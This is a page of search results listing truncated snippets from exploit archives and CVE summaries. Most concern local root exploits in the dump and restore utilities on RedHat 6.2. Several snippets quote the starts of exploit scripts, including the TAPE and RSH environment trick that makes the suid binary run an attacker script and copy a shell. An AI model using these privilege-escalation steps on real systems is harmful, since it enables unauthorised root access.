5076 matches found
dump 0.4b15 (RedHat 6.2) - Local Privilege Escalation
/ dump-0.4b15x.c dump-0.4b15 exploit: Redhat 6.2 dump command executes external program with suid priviledge. affected: /sbin/dump /sbin/dump.static /sbin/restore /sbin/restore.static Bug found by [email protected] This example was coded by [email protected] It was written for EDUCATION...
Nokia firewalls
Hi, Well I just unwrapped my shiny new Nokia IP440 integrated Firewall-1/IDS appliance and thought to give it a once over. It appears to be a older fBSD kernel + some firewall checkpoint 4.1 + some IDS ISS + remote admin SSH/http. Now these vulnerabilities all require an authenticated user,...
dump 0.4b15 Local Root Exploit
Exploit for linux platform in category local exploits ============================== dump 0.4b15 Local Root Exploit ============================== !/bin/sh Redhat 6.2 dump command executes external program with suid priviledge. Discovered by Mat Written for and by a scriptkid Tasc ;P Remember,...
dump 0.4b15 - Local Privilege Escalation
dump 0.4b15 - Local Privilege Escalation !/bin/sh Redhat 6.2 dump command executes external program with suid priviledge. Discovered by Mat Written for and by a scriptkid Tasc ;P Remember, there's no cure for BSE echo "dump-0.4b15 root exploit" echo "Discovered by Mat " echo...
dump 0.4b15 - Local Privilege Escalation
!/bin/sh Redhat 6.2 dump command executes external program with suid priviledge. Discovered by Mat Written for and by a scriptkid Tasc ;P Remember, there's no cure for BSE echo "dump-0.4b15 root exploit" echo "Discovered by Mat " echo "-------------------------------------" echo DUMP=/sbin/dump i...
Restore and Dump Local Exploit
Exploit for linux platform in category local exploits ============================== Restore and Dump Local Exploit ============================== !/usr/bin/perl perl exploit of restore and dump redhat linux 6.2 written by tlabs Use at your discretion $EXPORT1="TAPE=garbage:garbage" ;...
RedHat 6.2 Restore and Dump - Local Privilege Escalation (Perl)
RedHat 6.2 Restore and Dump - Local Privilege Escalation Perl !/usr/bin/perl perl exploit of restore and dump redhat linux 6.2 written by tlabs Use at your discretion $EXPORT1="TAPE=garbage:garbage" ; $EXPORT2="RSH=./hey" ; sub USAGE print "$0 \n1=dump 2=dump.static 3=restore 4=restore.staic\nYou...
RedHat 6.2 Restore and Dump - Local Privilege Escalation
!/usr/bin/perl perl exploit of restore and dump redhat linux 6.2 written by tlabs Use at your discretion $EXPORT1="TAPE=garbage:garbage" ; $EXPORT2="RSH=./hey" ; sub USAGE print "$0 \n1=dump 2=dump.static 3=restore 4=restore.staic\nYour choice innit;\nWritten by Tlabs\n" ; exit 0 ; sub ERROR prin...
quakeworldex.txt
tested on qwsv-2.30-glibc-i386-unknown-linux2.0 The Quakeworld server unix rcon feature contains a buffer overflow which crashes the server, segfaults and core dumps. There are a bunch of different quakeworld servers out, picking a different one would probably be a good idea. RCONEX by...
Redhat 6.2 dump command executes external program with suid priviledge.
Problem: Linux dump command executes external program with suid priviledge. 2. Tested Version dump-0.4b15 3. Example mat@localhost mat$ export TAPE=garbage:garbage mat@localhost mat$ export RSH=/home/mat/executethis mat@localhost mat$ cat /home/mat/executethis !/bin/sh cp /bin/sh /home/mat/sh...
CVE-2000-0366
CVE-2000-0366 affects Debian GNU/Linux 2.1 where a dump utility fails to properly restore symlinks. This can allow a local user to modify ownership of arbitrary files due to incorrect handling of symbolic links during restoration. The core issue is the improper restoration of symlinks, enabling o...
CVE-2000-0520
CVE-2000-0520 describes a local buffer overflow in the restore program (version 0.4b17 and earlier) within the dump package. The vulnerability allows a local attacker to execute arbitrary commands by supplying a long tape name. Public details in the provided documents do not list affected platfor...
CVE-2000-0372
CVE-2000-0372 describes a local privilege escalation in Caldera’s rmt command within the dump package 0.4b4, enabling a local user to gain root privileges. The vulnerability is supported by NVD data (CVSSv2 base score 7.2; LOCAL access; no authentication; full confidentiality, integrity, and avai...
CVE-2000-0372: Undefined Security Weakness
Vulnerability in Caldera rmt command in the dump package 0.4b4 allows a local user to gain root privileges...
CVE-2000-0520: Undefined Security Weakness
Buffer overflow in restore program 0.4b17 and earlier in dump package allows local users to execute arbitrary commands via a long tape name...
Переполнение буфера в dump (restore)
Классические переполнения буфера при указании имени ленты...
Stelian Pop dump 0.4 - restore Buffer Overflow
Stelian Pop dump 0.4 - restore Buffer Overflow // source: https://www.securityfocus.com/bid/1330/info A buffer overflow exists in the 'restore' program, part of the dump 0.4b15-1 package, distributed with RedHat Linux 6.2. By supplying a long string containing machine executable code at the promp...
Stelian Pop dump 0.4 - restore Buffer Overflow
// source: https://www.securityfocus.com/bid/1330/info A buffer overflow exists in the 'restore' program, part of the dump 0.4b15-1 package, distributed with RedHat Linux 6.2. By supplying a long string containing machine executable code at the prompt for a tape name, it is possible for an attack...
CVE-1999-0864
CVE-1999-0864 involves UnixWare programs that dump core; a local user can modify files via a symlink attack on the ./core.pid file. The description notes a local-privilege/impact vector but provides no remediation or explicit exploit details in the supplied documents. The connected documents do n...
